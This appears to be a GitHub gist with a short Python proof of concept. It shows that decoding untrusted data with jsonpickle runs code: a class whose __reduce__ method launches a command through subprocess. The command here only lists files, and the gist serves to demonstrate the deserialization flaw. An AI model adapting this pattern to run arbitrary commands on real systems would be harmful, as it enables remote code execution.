Created
January 31, 2017 01:29
-
-
Save kevinlondon/9b0d1dddcced699067192923a8440a0a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import subprocess | |
import jsonpickle | |
# Exploit that we want the target to unpickle | |
class Exploit(object): | |
def __reduce__(self): | |
# Note: this will only list files in your directory. | |
# It is a proof of concept. | |
return (subprocess.Popen, (('/bin/ls',),)) | |
def serialize_exploit(): | |
shellcode = jsonpickle.encode(Exploit()) | |
return shellcode | |
def insecure_deserialize(exploit_code): | |
jsonpickle.decode(exploit_code) | |
if __name__ == '__main__': | |
shellcode = serialize_exploit() | |
print('Yar, here be yer files.') | |
insecure_deserialize(shellcode) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment